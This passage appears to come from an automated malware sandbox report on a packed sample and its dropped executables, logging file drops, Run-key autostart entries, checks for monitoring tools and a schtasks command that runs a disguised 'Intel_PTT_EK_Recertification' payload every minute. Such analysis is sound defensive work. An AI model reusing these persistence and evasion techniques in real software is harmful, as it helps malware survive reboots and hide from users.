                                      Source: 35.2.1eb4b174fd.exe.5210000.3.raw.unpack, Ca01BQGh9DxiBOJwup.csHigh entropy of concatenated method names: 'Qr5ud0NzY98AOC9xd95', 'G0Y0Wrh2oh1RhmJKSXb', 'X83AawNIkZucWFsrjDy', 'uZXqgXNDChJaWlp6NOY', 'ce4DmfsmSrOT856tDgfrkMb', 'qNiCQfbwXf', 'TgalQGhh96LsT9w8Qmj', 'Fw7QQNh18VntnfmGixE', 'ILFoXIhoc2Bm12rmWG4', 'AZNUskhyETNOaYTT1jk'
                                      Source: initial sampleStatic PE information: section name: UPX0
                                      Source: initial sampleStatic PE information: section name: UPX1
                                      Source: initial sampleStatic PE information: section name: UPX0
                                      Source: initial sampleStatic PE information: section name: UPX1

                                      Persistence and Installation Behavior

                                      barindex
                                      Uses cmd line tools excessively to alter registry or file data
                                      Source: C:\Windows\System32\cmd.exeProcess created: attrib.exe
                                      Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: attrib.exe
                                      Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: attrib.exe
                                      Source: C:\Windows\System32\cmd.exeProcess created: attrib.exeJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: attrib.exe
                                      Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: attrib.exe
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exeJump to dropped file
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeJump to dropped file
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exeJump to dropped file
                                      Source: C:\Users\user\AppData\Local\Temp\main\in.exeFile created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeJump to dropped file
                                      Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeJump to dropped file
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeJump to dropped file
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeJump to dropped file
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exeJump to dropped file
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exeJump to dropped file
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exeJump to dropped file
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeFile created: C:\Users\user\AppData\Local\Temp\main\7z.dllJump to dropped file
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeFile created: C:\Users\user\AppData\Local\Temp\main\extracted\in.exeJump to dropped file
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeJump to dropped file
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeJump to dropped file
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeJump to dropped file
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exeJump to dropped file
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeFile created: C:\Users\user\AppData\Local\Temp\main\7z.exeJump to dropped file

                                      Boot Survival

                                      barindex
                                      Creates multiple autostart registry keys
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0d11b39aa9.exeJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1f3cab3382.exeJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d173cd9705.exeJump to behavior
                                      Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
                                      Source: C:\Users\user\Desktop\file.exeWindow searched: window name: FilemonClassJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeWindow searched: window name: RegmonClassJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeWindow searched: window name: FilemonClassJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: FilemonClassJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: RegmonClassJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: FilemonClassJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: FilemonClassJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: RegmonClassJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: FilemonClassJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: FilemonClassJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: RegmonClassJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: FilemonClassJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: RegmonclassJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: FilemonclassJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: RegmonclassJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeWindow searched: window name: FilemonClass
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeWindow searched: window name: PROCMON_WINDOW_CLASS
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeWindow searched: window name: RegmonClass
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeWindow searched: window name: FilemonClass
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeWindow searched: window name: PROCMON_WINDOW_CLASS
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeWindow searched: window name: Regmonclass
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeWindow searched: window name: Filemonclass
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeWindow searched: window name: PROCMON_WINDOW_CLASS
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWindow searched: window name: FilemonClass
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWindow searched: window name: PROCMON_WINDOW_CLASS
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWindow searched: window name: RegmonClass
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWindow searched: window name: FilemonClass
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWindow searched: window name: PROCMON_WINDOW_CLASS
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWindow searched: window name: Regmonclass
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWindow searched: window name: Filemonclass
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWindow searched: window name: PROCMON_WINDOW_CLASS
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeWindow searched: window name: FilemonClass
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeWindow searched: window name: PROCMON_WINDOW_CLASS
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeWindow searched: window name: RegmonClass
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeWindow searched: window name: FilemonClass
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeWindow searched: window name: PROCMON_WINDOW_CLASS
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeWindow searched: window name: Regmonclass
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeWindow searched: window name: Filemonclass
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeWindow searched: window name: PROCMON_WINDOW_CLASS
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeWindow searched: window name: Regmonclass
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWindow searched: window name: FilemonClass
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWindow searched: window name: PROCMON_WINDOW_CLASS
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWindow searched: window name: RegmonClass
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWindow searched: window name: FilemonClass
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWindow searched: window name: PROCMON_WINDOW_CLASS
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWindow searched: window name: Regmonclass
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWindow searched: window name: Filemonclass
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWindow searched: window name: PROCMON_WINDOW_CLASS
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWindow searched: window name: FilemonClass
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWindow searched: window name: PROCMON_WINDOW_CLASS
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWindow searched: window name: RegmonClass
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWindow searched: window name: FilemonClass
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWindow searched: window name: PROCMON_WINDOW_CLASS
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWindow searched: window name: Regmonclass
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWindow searched: window name: Filemonclass
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWindow searched: window name: PROCMON_WINDOW_CLASS
                                      Uses schtasks.exe or at.exe to add and modify task schedules
                                      Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
                                      Source: C:\Users\user\Desktop\file.exeFile created: C:\Windows\Tasks\skotes.jobJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1f3cab3382.exeJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1f3cab3382.exeJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d173cd9705.exeJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d173cd9705.exeJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0d11b39aa9.exeJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0d11b39aa9.exeJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeRegistry key monitored for changes: HKEY_CURRENT_USER_Classes
                                      Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                      Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\explorer.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
